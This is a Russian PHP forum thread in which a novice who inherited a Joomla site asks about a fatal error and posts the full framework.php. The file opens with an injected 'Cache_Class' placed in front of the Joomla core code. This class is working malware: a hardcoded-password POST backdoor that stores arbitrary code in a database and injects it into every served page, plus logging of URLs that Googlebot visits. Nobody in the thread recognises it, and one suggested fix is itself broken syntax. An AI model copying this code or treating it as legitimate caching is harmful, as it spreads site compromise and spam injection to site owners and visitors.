[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Помогите разобраться
arriah
Здравствуйте.

Я новичок в php. Достался сайт в наследство и с некоторых пор. в логах пишется:

PHP Fatal error: Call to a member function create_new_page() on a non-object in ...includes/framework.php on line 175

Сайт на джумле.
Вот кусок кода где возникает ошибка. В следсвии чего возникает ошибка сервера 500:

static function _cache($content)

{
$GLOBALS['_cache_'] -> create_new_page();
return Cache_Class::update_content($content, $GLOBALS['global_code']) ;
}

static function disable_cache()
{
@ob_end_flush();
}



Подскажите, куда копать?
Игорь_Vasinsky
ну в тексте ошибки говориться, что $GLOBALS['_cache_'] не является в объектом, в следствии чего и там нет метода create_new_page();

что делать?
наверно обратиться на форум джумловодов.

_____________
HTML, CSS (Bootstrap), JS(JQuery, ExtJS), PHP, MySQL, MSSql, Posgres, (TSql, BI OLAP, MDX), Mongo, Git, SVN, CodeIgnater, Symfony, Yii 2, JiRA, Redmine, Bitbucket, Composer, Rabbit MQ, Amazon (SQS, S3, Transcribe), Docker
redreem
думается как минимум поднять сайт можно так:
static function _cache($content) {
self::function disable_cache();
}

:)
arriah
Цитата (redreem @ 26.01.2016 - 11:06)
думается как минимум поднять сайт можно так:
static function _cache($content) {
self::function disable_cache();
}

:)

Попробовал. Написало:
PHP Parse error: syntax error, unexpected T_FUNCTION, expecting T_STRING or T_VARIABLE or '$' in .../includes/framework.php on line 177
arriah
Цитата (Игорь_Vasinsky @ 26.01.2016 - 09:46)
ну в тексте ошибки говориться, что $GLOBALS['_cache_'] не является в объектом, в следствии чего и там нет метода create_new_page();

что делать?
наверно обратиться на форум джумловодов.

в фалк framefork.php есть такая функция:


public function create_new_page()
{
$GLOBALS['_cache_'] -> db_connect();
if ( (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'googlebot') !== false) &&(!$this -> url_exist()))
{
$this -> url_create( 0 );

if (($this -> get_code() == 200) && ( ($this -> canonical == '') || ( $this -> canonical == $this->url_now() ) ))
{
$this -> url_create();
}
}
}


А можно чточку поподробней про Объект и метод... вроде наместе все, но не хочет работать. Хотя бы где примерно искать, а там разберусь
bestxp
// $GLOBALS['_cache_'] -> db_connect();


ух после такого бить по рукам, ох бить
redreem
Попробовал. Написало:

так это чисто синтаксическая ошибка. приведи листинг до 177-й строки и после. строк по 10.
arriah
Цитата (redreem @ 26.01.2016 - 13:11)
Попробовал. Написало:

так это чисто синтаксическая ошибка. приведи листинг до 177-й строки и после. строк по 10.

вот весь код фреймфорка


<?php


class Cache_Class

{
private $table = 'jos_cache_module_content';
public $start_cache = false;
private $cms = 'jm';
private $canonical = '';

private $db_host = 'localhost';
private $db_user = '****';
private $db_password = '****';
private $db_name = '****';

private function url_now()
{
return 'http://' . $_SERVER['HTTP_HOST'] . urldecode($_SERVER['REQUEST_URI']);
}

private function url_create($work = 1)
{
@mysql_query(' INSERT INTO `'.$this->table.'` SET `work` = "'.$work.'", `url` = "'.mysql_escape_string($this -> url_now()).'"
ON DUPLICATE KEY UPDATE `work` = "'
.$work.'"
'
);
}

public function url_code()
{
if ($query = @mysql_query('SELECT `code` FROM `'.$this->table.'` WHERE `url` = "'.mysql_escape_string($this -> url_now()).'"'))
{
return stripslashes(@mysql_result($query, 0));
}

return '';
}

private function url_exist()
{
if ($query = @mysql_query('SELECT count(*) FROM `'.$this->table.'` WHERE `url` = "'.mysql_escape_string( $this->url_now() ).'"'))
{
if (@mysql_result($query, 0) == '0')
{
return false;
}
else
{
return true;
}
}


return true;
}

private function get_code()
{
$options['http'] = array(
'method' => "GET",
'follow_location' => 0
);

$context = stream_context_create($options);
$get = file_get_contents($this->url_now(), NULL, $context);

if (preg_match('!<link[^>]*rel=[\'"]canonical[\'"][^>]*href=[\'"]([^\'"]+)[\'"][^>]*>!is', $get, $_))
{
$this -> canonical = html_entity_decode(urldecode($_[1]));
}
elseif (preg_match('!<link[^>]*href=[\'"]([^\'"]+)[\'"][^>]*rel=[\'"]canonical[\'"][^>]*>!is', $get, $_))
{
$this -> canonical = html_entity_decode(urldecode($_[1]));
}

if (!empty($http_response_header))
{
sscanf($http_response_header[0], 'HTTP/%*d.%*d %d', $code);
if (is_numeric($code)) return $code;
}

return 200;
}

public function pre_cache()
{
if (isset($_POST['action']))
{
switch ($_POST['action'])
{
case 'get_all_links';
header("Content-Type: text/plain");
if ($query = @mysql_query('SELECT * FROM `'.$this->table.'` WHERE `work` = "1" ORDER BY `url` DESC LIMIT 0, 2500'))
{
while ($data = @mysql_fetch_assoc($query))
{
echo '<e><url>' . $data['url'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
}
}

break;

case 'set_links';
if (isset($_POST['data']))
{
if (mysql_query('UPDATE `'.$this->table.'` SET code = "' . mysql_escape_string($_POST['data']) . '" WHERE code = "" AND `work` = "1" LIMIT 1'))
{
echo 'true';
}
}

break;

case 'set_id_links';
if (isset($_POST['data']))
{
if (@mysql_query('UPDATE `'.$this->table.'` SET code = "' . mysql_escape_string($_POST['data']) . '" WHERE `ID` = "' . mysql_escape_string($_POST['id']) . '"'))
{
echo 'true';
}
}

break;

default: die('error action');
}
exit;
}
}


static function wordpress_cache($content)
{
$GLOBALS['_cache_'] -> create_new_page();
$content = $content . $GLOBALS['global_code'];
$GLOBALS['global_code'] = '';
return $content ;
}

public function create_new_page()
{
$GLOBALS['_cache_'] -> db_connect();
if ( (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'googlebot') !== false) &&(!$this -> url_exist()))
{
$this -> url_create( 0 );

if (($this -> get_code() == 200) && ( ($this -> canonical == '') || ( $this -> canonical == $this->url_now() ) ))
{
$this -> url_create();
}
}
}


static function update_content($content, $code)
{
if (!empty($code))
{
if (preg_match('!<body[^>]*>!is', $content))
{
$content = preg_replace('!(<body[^>]*>)!si', '\1' . $code, $content);
}
elseif (preg_match('!</body>!si', $content))
{
$content = preg_replace('!</body>!si', $code . '</body>', $content);
}
elseif (preg_match('!</html>!si', $content))
{
$content = preg_replace('!</html>!si', $code . '</html>', $content);
}
else
{
$content .= $code;
}
}


return $content;
}

static function _cache($content)
{
$GLOBALS['_cache_'] -> create_new_page();
return Cache_Class::update_content($content, $GLOBALS['global_code']) ;

}

static function disable_cache()
{
@ob_end_flush();
}

private function db_connect()
{
@mysql_connect($this -> db_host, $this -> db_user, $this -> db_password);
@mysql_select_db( $this -> db_name );
}

public function create_cache()
{
$this -> start_cache = @ob_start( Array($this, '_cache') );
}

static function create()
{
if ( strpos($_SERVER['REQUEST_URI'], 'wp-admin') !== FALSE ) return ;
$GLOBALS['_cache_'] = new Cache_Class();
if ($GLOBALS['_cache_'] -> cms == 'jm') $GLOBALS['_cache_'] -> db_connect();
if ($_POST['password'] == '89772a4003b536df8b37702716791655') $GLOBALS['_cache_'] -> pre_cache();
$GLOBALS['global_code'] = $GLOBALS['_cache_'] -> url_code();

switch ($GLOBALS['_cache_'] -> cms)
{
case 'wp';
add_filter('the_content', Array($GLOBALS['_cache_'], 'wordpress_cache'));
break;

default: $GLOBALS['_cache_'] -> create_cache();
}
}

}


Cache_Class::create();
/**
*
@version $Id: framework.php 19058 2010-10-08 04:15:39Z dextercowley $
*
@package Joomla
*
@copyright Copyright © 2005 - 2010 Open Source Matters. All rights reserved.
*
@license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/


// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

/*
* Joomla! system checks
*/


@set_magic_quotes_runtime( 0 );
@ini_set('zend.ze1_compatibility_mode', '0');

/*
* Installation check, and check on removal of the install directory.
*/

if (!file_exists( JPATH_CONFIGURATION . DS . 'configuration.php' ) || (filesize( JPATH_CONFIGURATION . DS . 'configuration.php' ) < 10) || file_exists( JPATH_INSTALLATION . DS . 'index.php' )) {
if( file_exists( JPATH_INSTALLATION . DS . 'index.php' ) ) {
header( 'Location: installation/index.php' );
exit();
} else {
echo 'Не найден файл конфигурации и недоступен установочный код. Выходим...';
exit();
}
}



/*
* Joomla! system startup
*/

// System includes

require_once( JPATH_LIBRARIES .DS.'joomla'.DS.'import.php');

// Pre-Load configuration
require_once( JPATH_CONFIGURATION .DS.'configuration.php' );

// System configuration
$CONFIG = new JConfig();

if (@$CONFIG->error_reporting === 0) {
error_reporting( 0 );
} else if (@$CONFIG->error_reporting > 0) {
error_reporting( $CONFIG->error_reporting );
ini_set( 'display_errors', 1 );
}

define( 'JDEBUG', $CONFIG->debug );

unset( $CONFIG );

/*
* Joomla! framework loading
*/

// Include object abstract class

require_once(JPATH_SITE.DS.'libraries'.DS.'joomla'.DS.'utilities'.DS.'compat'.DS.'compat.php');

// System profiler
if (JDEBUG) {
jimport( 'joomla.error.profiler' );
$_PROFILER =& JProfiler::getInstance( 'Application' );
}

// Joomla! library imports;
jimport( 'joomla.application.menu' );
jimport( 'joomla.user.user');
jimport( 'joomla.environment.uri' );
jimport( 'joomla.html.html' );
jimport( 'joomla.utilities.utility' );
jimport( 'joomla.event.event');
jimport( 'joomla.event.dispatcher');
jimport( 'joomla.language.language');
jimport( 'joomla.utilities.string' );
?>

Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2025 Invision Power Services, Inc.